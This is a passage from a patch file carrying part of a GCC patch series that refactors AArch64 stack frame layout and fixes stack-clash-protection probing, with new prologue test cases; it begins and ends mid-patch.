+reg_offset was measured from the bottom of the saved register area.
+This made perfect sense with the original layout, since the bottom
+of the saved register area was also the hard frame pointer address.
+It became slightly less obvious with SVE, since we save SVE
+registers below the hard frame pointer, but it still made sense.
+
+However, if we want to allow different frame layouts, it's more
+convenient and obvious to measure reg_offset from the bottom of
+the frame. After previous patches, it's also a slight simplification
+in its own right.
+
+gcc/
+ * config/aarch64/aarch64.h (aarch64_frame): Add comment above
+ reg_offset.
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Walk offsets
+ from the bottom of the frame, rather than the bottom of the saved
+ register area. Measure reg_offset from the bottom of the frame
+ rather than the bottom of the saved register area.
+ (aarch64_save_callee_saves): Update accordingly.
+ (aarch64_restore_callee_saves): Likewise.
+ (aarch64_get_separate_components): Likewise.
+ (aarch64_process_components): Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 53 ++++++++++++++++-------------------
+ gcc/config/aarch64/aarch64.h | 3 ++
+ 2 files changed, 27 insertions(+), 29 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 95499ae49ba..af99807ef8a 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8400,7 +8400,6 @@ aarch64_needs_frame_chain (void)
+ static void
+ aarch64_layout_frame (void)
+ {
+- poly_int64 offset = 0;
+ int regno, last_fp_reg = INVALID_REGNUM;
+ machine_mode vector_save_mode = aarch64_reg_save_mode (V8_REGNUM);
+ poly_int64 vector_save_size = GET_MODE_SIZE (vector_save_mode);
+@@ -8478,7 +8477,9 @@ aarch64_layout_frame (void)
+ gcc_assert (crtl->is_leaf
+ || maybe_ne (frame.reg_offset[R30_REGNUM], SLOT_NOT_REQUIRED));
+
+- frame.bytes_below_saved_regs = crtl->outgoing_args_size;
++ poly_int64 offset = crtl->outgoing_args_size;
++ gcc_assert (multiple_p (offset, STACK_BOUNDARY / BITS_PER_UNIT));
++ frame.bytes_below_saved_regs = offset;
+
+ /* Now assign stack slots for the registers. Start with the predicate
+ registers, since predicate LDR and STR have a relatively small
+@@ -8490,7 +8491,8 @@ aarch64_layout_frame (void)
+ offset += BYTES_PER_SVE_PRED;
+ }
+
+- if (maybe_ne (offset, 0))
++ poly_int64 saved_prs_size = offset - frame.bytes_below_saved_regs;
++ if (maybe_ne (saved_prs_size, 0))
+ {
+ /* If we have any vector registers to save above the predicate registers,
+ the offset of the vector register save slots need to be a multiple
+@@ -8508,10 +8510,10 @@ aarch64_layout_frame (void)
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+ else
+ {
+- if (known_le (offset, vector_save_size))
+- offset = vector_save_size;
+- else if (known_le (offset, vector_save_size * 2))
+- offset = vector_save_size * 2;
++ if (known_le (saved_prs_size, vector_save_size))
++ offset = frame.bytes_below_saved_regs + vector_save_size;
++ else if (known_le (saved_prs_size, vector_save_size * 2))
++ offset = frame.bytes_below_saved_regs + vector_save_size * 2;
+ else
+ gcc_unreachable ();
+ }
+@@ -8528,9 +8530,10 @@ aarch64_layout_frame (void)
+
+ /* OFFSET is now the offset of the hard frame pointer from the bottom
+ of the callee save area. */
+- bool saves_below_hard_fp_p = maybe_ne (offset, 0);
+- frame.below_hard_fp_saved_regs_size = offset;
+- frame.bytes_below_hard_fp = offset + frame.bytes_below_saved_regs;
++ frame.below_hard_fp_saved_regs_size = offset - frame.bytes_below_saved_regs;
++ bool saves_below_hard_fp_p
++ = maybe_ne (frame.below_hard_fp_saved_regs_size, 0);
++ frame.bytes_below_hard_fp = offset;
+ if (frame.emit_frame_chain)
+ {
+ /* FP and LR are placed in the linkage record. */
+@@ -8581,9 +8584,10 @@ aarch64_layout_frame (void)
+
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+
+- frame.saved_regs_size = offset;
++ frame.saved_regs_size = offset - frame.bytes_below_saved_regs;
+
+- poly_int64 varargs_and_saved_regs_size = offset + frame.saved_varargs_size;
++ poly_int64 varargs_and_saved_regs_size
++ = frame.saved_regs_size + frame.saved_varargs_size;
+
+ poly_int64 saved_regs_and_above
+ = aligned_upper_bound (varargs_and_saved_regs_size
+@@ -9105,9 +9109,7 @@ aarch64_save_callee_saves (poly_int64 bytes_below_sp,
+
+ machine_mode mode = aarch64_reg_save_mode (regno);
+ reg = gen_rtx_REG (mode, regno);
+- offset = (frame.reg_offset[regno]
+- + frame.bytes_below_saved_regs
+- - bytes_below_sp);
++ offset = frame.reg_offset[regno] - bytes_below_sp;
+ rtx base_rtx = stack_pointer_rtx;
+ poly_int64 sp_offset = offset;
+
+@@ -9214,9 +9216,7 @@ aarch64_restore_callee_saves (poly_int64 bytes_below_sp, unsigned start,
+
+ machine_mode mode = aarch64_reg_save_mode (regno);
+ reg = gen_rtx_REG (mode, regno);
+- offset = (frame.reg_offset[regno]
+- + frame.bytes_below_saved_regs
+- - bytes_below_sp);
++ offset = frame.reg_offset[regno] - bytes_below_sp;
+ rtx base_rtx = stack_pointer_rtx;
+ if (mode == VNx2DImode && BYTES_BIG_ENDIAN)
+ aarch64_adjust_sve_callee_save_base (mode, base_rtx, anchor_reg,
+@@ -9355,14 +9355,12 @@ aarch64_get_separate_components (void)
+ it as a stack probe for -fstack-clash-protection. */
+ if (flag_stack_clash_protection
+ && maybe_ne (frame.below_hard_fp_saved_regs_size, 0)
+- && known_eq (offset, 0))
++ && known_eq (offset, frame.bytes_below_saved_regs))
+ continue;
+
+ /* Get the offset relative to the register we'll use. */
+ if (frame_pointer_needed)
+- offset -= frame.below_hard_fp_saved_regs_size;
+- else
+- offset += frame.bytes_below_saved_regs;
++ offset -= frame.bytes_below_hard_fp;
+
+ /* Check that we can access the stack slot of the register with one
+ direct load with no adjustments needed. */
+@@ -9509,9 +9507,7 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ rtx reg = gen_rtx_REG (mode, regno);
+ poly_int64 offset = frame.reg_offset[regno];
+ if (frame_pointer_needed)
+- offset -= frame.below_hard_fp_saved_regs_size;
+- else
+- offset += frame.bytes_below_saved_regs;
++ offset -= frame.bytes_below_hard_fp;
+
+ rtx addr = plus_constant (Pmode, ptr_reg, offset);
+ rtx mem = gen_frame_mem (mode, addr);
+@@ -9563,9 +9559,7 @@ aarch64_process_components (sbitmap components, bool prologue_p)
+ /* REGNO2 can be saved/restored in a pair with REGNO. */
+ rtx reg2 = gen_rtx_REG (mode, regno2);
+ if (frame_pointer_needed)
+- offset2 -= frame.below_hard_fp_saved_regs_size;
+- else
+- offset2 += frame.bytes_below_saved_regs;
++ offset2 -= frame.bytes_below_hard_fp;
+ rtx addr2 = plus_constant (Pmode, ptr_reg, offset2);
+ rtx mem2 = gen_frame_mem (mode, addr2);
+ rtx set2 = prologue_p ? gen_rtx_SET (mem2, reg2)
+@@ -9681,7 +9675,8 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ if (final_adjustment_p
+ && known_eq (frame.below_hard_fp_saved_regs_size, 0))
+ {
+- poly_int64 lr_offset = frame.reg_offset[LR_REGNUM];
++ poly_int64 lr_offset = (frame.reg_offset[LR_REGNUM]
++ - frame.bytes_below_saved_regs);
+ if (known_ge (lr_offset, 0))
+ min_probe_threshold -= lr_offset.to_constant ();
+ else
+diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
+index 108a5731b0d..c8becb098c8 100644
+--- a/gcc/config/aarch64/aarch64.h
++++ b/gcc/config/aarch64/aarch64.h
+@@ -766,6 +766,9 @@ extern enum aarch64_processor aarch64_tune;
+ #ifdef HAVE_POLY_INT_H
+ struct GTY (()) aarch64_frame
+ {
++ /* The offset from the bottom of the static frame (the bottom of the
++ outgoing arguments) of each register save slot, or -2 if no save is
++ needed. */
+ poly_int64 reg_offset[LAST_SAVED_REGNUM + 1];
+
+ /* The number of extra stack bytes taken up by register varargs.
+--
+2.34.1
+
+
+From 79faabda181d0d9fd29a3cf5726ba65bdee945b5 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:17 +0100
+Subject: [PATCH 12/19] aarch64: Simplify top of frame allocation
+
+After previous patches, it no longer really makes sense to allocate
+the top of the frame in terms of varargs_and_saved_regs_size and
+saved_regs_and_above.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Simplify
+ the allocation of the top of the frame.
+---
+ gcc/config/aarch64/aarch64.cc | 23 ++++++++---------------
+ 1 file changed, 8 insertions(+), 15 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index af99807ef8a..31b00094c2a 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8586,23 +8586,16 @@ aarch64_layout_frame (void)
+
+ frame.saved_regs_size = offset - frame.bytes_below_saved_regs;
+
+- poly_int64 varargs_and_saved_regs_size
+- = frame.saved_regs_size + frame.saved_varargs_size;
+-
+- poly_int64 saved_regs_and_above
+- = aligned_upper_bound (varargs_and_saved_regs_size
+- + get_frame_size (),
+- STACK_BOUNDARY / BITS_PER_UNIT);
+-
+- frame.bytes_above_hard_fp
+- = saved_regs_and_above - frame.below_hard_fp_saved_regs_size;
++ offset += get_frame_size ();
++ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
++ auto top_of_locals = offset;
+
+- /* Both these values are already aligned. */
+- gcc_assert (multiple_p (frame.bytes_below_saved_regs,
+- STACK_BOUNDARY / BITS_PER_UNIT));
+- frame.frame_size = saved_regs_and_above + frame.bytes_below_saved_regs;
++ offset += frame.saved_varargs_size;
++ gcc_assert (multiple_p (offset, STACK_BOUNDARY / BITS_PER_UNIT));
++ frame.frame_size = offset;
+
+- frame.bytes_above_locals = frame.saved_varargs_size;
++ frame.bytes_above_hard_fp = frame.frame_size - frame.bytes_below_hard_fp;
++ frame.bytes_above_locals = frame.frame_size - top_of_locals;
+
+ frame.initial_adjust = 0;
+ frame.final_adjust = 0;
+--
+2.34.1
+
+
+From 4e62049e403b141e6f916176160dac8cbd65fe47 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:18 +0100
+Subject: [PATCH 13/19] aarch64: Minor initial adjustment tweak
+
+This patch just changes a calculation of initial_adjust
+to one that makes it slightly more obvious that the total
+adjustment is frame.frame_size.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Tweak
+ calculation of initial_adjust for frames in which all saves
+ are SVE saves.
+---
+ gcc/config/aarch64/aarch64.cc | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 31b00094c2a..1aa79da0673 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8675,11 +8675,10 @@ aarch64_layout_frame (void)
+ {
+ /* Frame in which all saves are SVE saves:
+
+- sub sp, sp, hard_fp_offset + below_hard_fp_saved_regs_size
++ sub sp, sp, frame_size - bytes_below_saved_regs
+ save SVE registers relative to SP
+ sub sp, sp, bytes_below_saved_regs */
+- frame.initial_adjust = (frame.bytes_above_hard_fp
+- + frame.below_hard_fp_saved_regs_size);
++ frame.initial_adjust = frame.frame_size - frame.bytes_below_saved_regs;
+ frame.final_adjust = frame.bytes_below_saved_regs;
+ }
+ else if (frame.bytes_above_hard_fp.is_constant (&const_above_fp)
+--
+2.34.1
+
+
+From aaa1a0a5912d9e5d571e5f1c6f09ceac99544ab5 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:18 +0100
+Subject: [PATCH 14/19] aarch64: Tweak stack clash boundary condition
+
+The AArch64 ABI says that, when stack clash protection is used,
+there can be a maximum of 1KiB of unprobed space at sp on entry
+to a function. Therefore, we need to probe when allocating
+>= guard_size - 1KiB of data (>= rather than >). This is what
+GCC does.
+
+If an allocation is exactly guard_size bytes, it is enough to allocate
+those bytes and probe once at offset 1024. It isn't possible to use a
+single probe at any other offset: higher would conmplicate later code,
+by leaving more unprobed space than usual, while lower would risk
+leaving an entire page unprobed. For simplicity, the code probes all
+allocations at offset 1024.
+
+Some register saves also act as probes. If we need to allocate
+more space below the last such register save probe, we need to
+probe the allocation if it is > 1KiB. Again, this allocation is
+then sometimes (but not always) probed at offset 1024. This sort of
+allocation is currently only used for outgoing arguments, which are
+rarely this big.
+
+However, the code also probed if this final outgoing-arguments
+allocation was == 1KiB, rather than just > 1KiB. This isn't
+necessary, since the register save then probes at offset 1024
+as required. Continuing to probe allocations of exactly 1KiB
+would complicate later patches.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_allocate_and_probe_stack_space):
+ Don't probe final allocations that are exactly 1KiB in size (after
+ unprobed space above the final allocation has been deducted).
+
+gcc/testsuite/
+ * gcc.target/aarch64/stack-check-prologue-17.c: New test.
+---
+ gcc/config/aarch64/aarch64.cc | 4 +-
+ .../aarch64/stack-check-prologue-17.c | 55 +++++++++++++++++++
+ 2 files changed, 58 insertions(+), 1 deletion(-)
+ create mode 100644 gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 1aa79da0673..5cad847977a 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -9648,9 +9648,11 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ HOST_WIDE_INT guard_size
+ = 1 << param_stack_clash_protection_guard_size;
+ HOST_WIDE_INT guard_used_by_caller = STACK_CLASH_CALLER_GUARD;
++ HOST_WIDE_INT byte_sp_alignment = STACK_BOUNDARY / BITS_PER_UNIT;
++ gcc_assert (multiple_p (poly_size, byte_sp_alignment));
+ HOST_WIDE_INT min_probe_threshold
+ = (final_adjustment_p
+- ? guard_used_by_caller
++ ? guard_used_by_caller + byte_sp_alignment
+ : guard_size - guard_used_by_caller);
+ /* When doing the final adjustment for the outgoing arguments, take into
+ account any unprobed space there is above the current SP. There are
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c
+new file mode 100644
+index 00000000000..0d8a25d73a2
+--- /dev/null
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-17.c
+@@ -0,0 +1,55 @@
++/* { dg-options "-O2 -fstack-clash-protection -fomit-frame-pointer --param stack-clash-protection-guard-size=12" } */
++/* { dg-final { check-function-bodies "**" "" } } */
++
++void f(int, ...);
++void g();
++
++/*
++** test1:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #1024
++** cbnz w0, .*
++** bl g
++** ...
++*/
++int test1(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x);
++ }
++ g();
++ return 1;
++}
++
++/*
++** test2:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #1040
++** str xzr, \[sp\]
++** cbnz w0, .*
++** bl g
++** ...
++*/
++int test2(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x);
++ }
++ g();
++ return 1;
++}
+--
+2.34.1
+
+
+From 8433953434a7b58c0923140d39eb3c5988c1d097 Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Tue, 12 Sep 2023 16:07:19 +0100
+Subject: [PATCH 15/19] aarch64: Put LR save probe in first 16 bytes
+
+-fstack-clash-protection uses the save of LR as a probe for the next
+allocation. The next allocation could be:
+
+* another part of the static frame, e.g. when allocating SVE save slots
+ or outgoing arguments
+
+* an alloca in the same function
+
+* an allocation made by a callee function
+
+However, when -fomit-frame-pointer is used, the LR save slot is placed
+above the other GPR save slots. It could therefore be up to 80 bytes
+above the base of the GPR save area (which is also the hard fp address).
+
+aarch64_allocate_and_probe_stack_space took this into account when
+deciding how much subsequent space could be allocated without needing
+a probe. However, it interacted badly with:
+
+ /* If doing a small final adjustment, we always probe at offset 0.
+ This is done to avoid issues when LR is not at position 0 or when
+ the final adjustment is smaller than the probing offset. */
+ else if (final_adjustment_p && rounded_size == 0)
+ residual_probe_offset = 0;
+
+which forces any allocation that is smaller than the guard page size
+to be probed at offset 0 rather than the usual offset 1024. It was
+therefore possible to construct cases in which we had:
+
+* a probe using LR at SP + 80 bytes (or some other value >= 16)
+* an allocation of the guard page size - 16 bytes
+* a probe at SP + 0
+
+which allocates guard page size + 64 consecutive unprobed bytes.
+
+This patch requires the LR probe to be in the first 16 bytes of the
+save area when stack clash protection is active. Doing it
+unconditionally would cause code-quality regressions.
+
+Putting LR before other registers prevents push/pop allocation
+when shadow call stacks are enabled, since LR is restored
+separately from the other callee-saved registers.
+
+The new comment doesn't say that the probe register is required
+to be LR, since a later patch removes that restriction.
+
+gcc/
+ * config/aarch64/aarch64.cc (aarch64_layout_frame): Ensure that
+ the LR save slot is in the first 16 bytes of the register save area.
+ Only form STP/LDP push/pop candidates if both registers are valid.
+ (aarch64_allocate_and_probe_stack_space): Remove workaround for
+ when LR was not in the first 16 bytes.
+
+gcc/testsuite/
+ * gcc.target/aarch64/stack-check-prologue-18.c: New test.
+ * gcc.target/aarch64/stack-check-prologue-19.c: Likewise.
+ * gcc.target/aarch64/stack-check-prologue-20.c: Likewise.
+---
+ gcc/config/aarch64/aarch64.cc | 72 ++++++-------
+ .../aarch64/stack-check-prologue-18.c | 100 ++++++++++++++++++
+ .../aarch64/stack-check-prologue-19.c | 100 ++++++++++++++++++
+ .../aarch64/stack-check-prologue-20.c | 3 +
+ 4 files changed, 233 insertions(+), 42 deletions(-)
+ create mode 100644 gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c
+ create mode 100644 gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c
+ create mode 100644 gcc/testsuite/gcc.target/aarch64/stack-check-prologue-20.c
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 5cad847977a..a765f92329d 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -8534,26 +8534,34 @@ aarch64_layout_frame (void)
+ bool saves_below_hard_fp_p
+ = maybe_ne (frame.below_hard_fp_saved_regs_size, 0);
+ frame.bytes_below_hard_fp = offset;
++
++ auto allocate_gpr_slot = [&](unsigned int regno)
++ {
++ frame.reg_offset[regno] = offset;
++ if (frame.wb_push_candidate1 == INVALID_REGNUM)
++ frame.wb_push_candidate1 = regno;
++ else if (frame.wb_push_candidate2 == INVALID_REGNUM)
++ frame.wb_push_candidate2 = regno;
++ offset += UNITS_PER_WORD;
++ };
++
+ if (frame.emit_frame_chain)
+ {
+ /* FP and LR are placed in the linkage record. */
+- frame.reg_offset[R29_REGNUM] = offset;
+- frame.wb_push_candidate1 = R29_REGNUM;
+- frame.reg_offset[R30_REGNUM] = offset + UNITS_PER_WORD;
+- frame.wb_push_candidate2 = R30_REGNUM;
+- offset += 2 * UNITS_PER_WORD;
++ allocate_gpr_slot (R29_REGNUM);
++ allocate_gpr_slot (R30_REGNUM);
+ }
++ else if (flag_stack_clash_protection
++ && known_eq (frame.reg_offset[R30_REGNUM], SLOT_REQUIRED))
++ /* Put the LR save slot first, since it makes a good choice of probe
++ for stack clash purposes. The idea is that the link register usually
++ has to be saved before a call anyway, and so we lose little by
++ stopping it from being individually shrink-wrapped. */
++ allocate_gpr_slot (R30_REGNUM);
+
+ for (regno = R0_REGNUM; regno <= R30_REGNUM; regno++)
+ if (known_eq (frame.reg_offset[regno], SLOT_REQUIRED))
+- {
+- frame.reg_offset[regno] = offset;
+- if (frame.wb_push_candidate1 == INVALID_REGNUM)
+- frame.wb_push_candidate1 = regno;
+- else if (frame.wb_push_candidate2 == INVALID_REGNUM)
+- frame.wb_push_candidate2 = regno;
+- offset += UNITS_PER_WORD;
+- }
++ allocate_gpr_slot (regno);
+
+ poly_int64 max_int_offset = offset;
+ offset = aligned_upper_bound (offset, STACK_BOUNDARY / BITS_PER_UNIT);
+@@ -8631,10 +8639,13 @@ aarch64_layout_frame (void)
+ max_push_offset to 0, because no registers are popped at this time,
+ so callee_adjust cannot be adjusted. */
+ HOST_WIDE_INT max_push_offset = 0;
+- if (frame.wb_pop_candidate2 != INVALID_REGNUM)
+- max_push_offset = 512;
+- else if (frame.wb_pop_candidate1 != INVALID_REGNUM)
+- max_push_offset = 256;
++ if (frame.wb_pop_candidate1 != INVALID_REGNUM)
++ {
++ if (frame.wb_pop_candidate2 != INVALID_REGNUM)
++ max_push_offset = 512;
++ else
++ max_push_offset = 256;
++ }
+
+ HOST_WIDE_INT const_size, const_below_saved_regs, const_above_fp;
+ HOST_WIDE_INT const_saved_regs_size;
+@@ -9654,29 +9665,6 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ = (final_adjustment_p
+ ? guard_used_by_caller + byte_sp_alignment
+ : guard_size - guard_used_by_caller);
+- /* When doing the final adjustment for the outgoing arguments, take into
+- account any unprobed space there is above the current SP. There are
+- two cases:
+-
+- - When saving SVE registers below the hard frame pointer, we force
+- the lowest save to take place in the prologue before doing the final
+- adjustment (i.e. we don't allow the save to be shrink-wrapped).
+- This acts as a probe at SP, so there is no unprobed space.
+-
+- - When there are no SVE register saves, we use the store of the link
+- register as a probe. We can't assume that LR was saved at position 0
+- though, so treat any space below it as unprobed. */
+- if (final_adjustment_p
+- && known_eq (frame.below_hard_fp_saved_regs_size, 0))
+- {
+- poly_int64 lr_offset = (frame.reg_offset[LR_REGNUM]
+- - frame.bytes_below_saved_regs);
+- if (known_ge (lr_offset, 0))
+- min_probe_threshold -= lr_offset.to_constant ();
+- else
+- gcc_assert (!flag_stack_clash_protection || known_eq (poly_size, 0));
+- }
+-
+ poly_int64 frame_size = frame.frame_size;
+
+ /* We should always have a positive probe threshold. */
+@@ -9856,8 +9844,8 @@ aarch64_allocate_and_probe_stack_space (rtx temp1, rtx temp2,
+ if (final_adjustment_p && rounded_size != 0)
+ min_probe_threshold = 0;
+ /* If doing a small final adjustment, we always probe at offset 0.
+- This is done to avoid issues when LR is not at position 0 or when
+- the final adjustment is smaller than the probing offset. */
++ This is done to avoid issues when the final adjustment is smaller
++ than the probing offset. */
+ else if (final_adjustment_p && rounded_size == 0)
+ residual_probe_offset = 0;
+
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c
+new file mode 100644
+index 00000000000..82447d20fff
+--- /dev/null
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-18.c
+@@ -0,0 +1,100 @@
++/* { dg-options "-O2 -fstack-clash-protection -fomit-frame-pointer --param stack-clash-protection-guard-size=12" } */
++/* { dg-final { check-function-bodies "**" "" } } */
++
++void f(int, ...);
++void g();
++
++/*
++** test1:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #4064
++** str xzr, \[sp\]
++** cbnz w0, .*
++** bl g
++** ...
++** str x26, \[sp, #?4128\]
++** ...
++*/
++int test1(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ asm volatile ("" :::
++ "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26");
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x);
++ }
++ g();
++ return 1;
++}
++
++/*
++** test2:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #1040
++** str xzr, \[sp\]
++** cbnz w0, .*
++** bl g
++** ...
++*/
++int test2(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ asm volatile ("" :::
++ "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26");
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x);
++ }
++ g();
++ return 1;
++}
++
++/*
++** test3:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #1024
++** cbnz w0, .*
++** bl g
++** ...
++*/
++int test3(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ asm volatile ("" :::
++ "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26");
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x);
++ }
++ g();
++ return 1;
++}
+diff --git a/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c
+new file mode 100644
+index 00000000000..73ac3e4e4eb
+--- /dev/null
++++ b/gcc/testsuite/gcc.target/aarch64/stack-check-prologue-19.c
+@@ -0,0 +1,100 @@
++/* { dg-options "-O2 -fstack-clash-protection -fomit-frame-pointer --param stack-clash-protection-guard-size=12 -fsanitize=shadow-call-stack -ffixed-x18" } */
++/* { dg-final { check-function-bodies "**" "" } } */
++
++void f(int, ...);
++void g();
++
++/*
++** test1:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #4064
++** str xzr, \[sp\]
++** cbnz w0, .*
++** bl g
++** ...
++** str x26, \[sp, #?4128\]
++** ...
++*/
++int test1(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ asm volatile ("" :::
++ "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26");
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x);
++ }
++ g();
++ return 1;
++}
++
++/*
++** test2:
++** ...
++** str x30, \[sp\]
++** sub sp, sp, #1040
++** str xzr, \[sp\]
++** cbnz w0, .*
++** bl g
++** ...
++*/
++int test2(int z) {
++ __uint128_t x = 0;
++ int y[0x400];
++ if (z)
++ {
++ asm volatile ("" :::
++ "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26");
++ f(0, 0, 0, 0, 0, 0, 0, &y,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x,
++ x);
++ }
++ g();
++ return 1;
++}
++
++/*
++** test3:
++** ...
++** str x30, \[sp\]
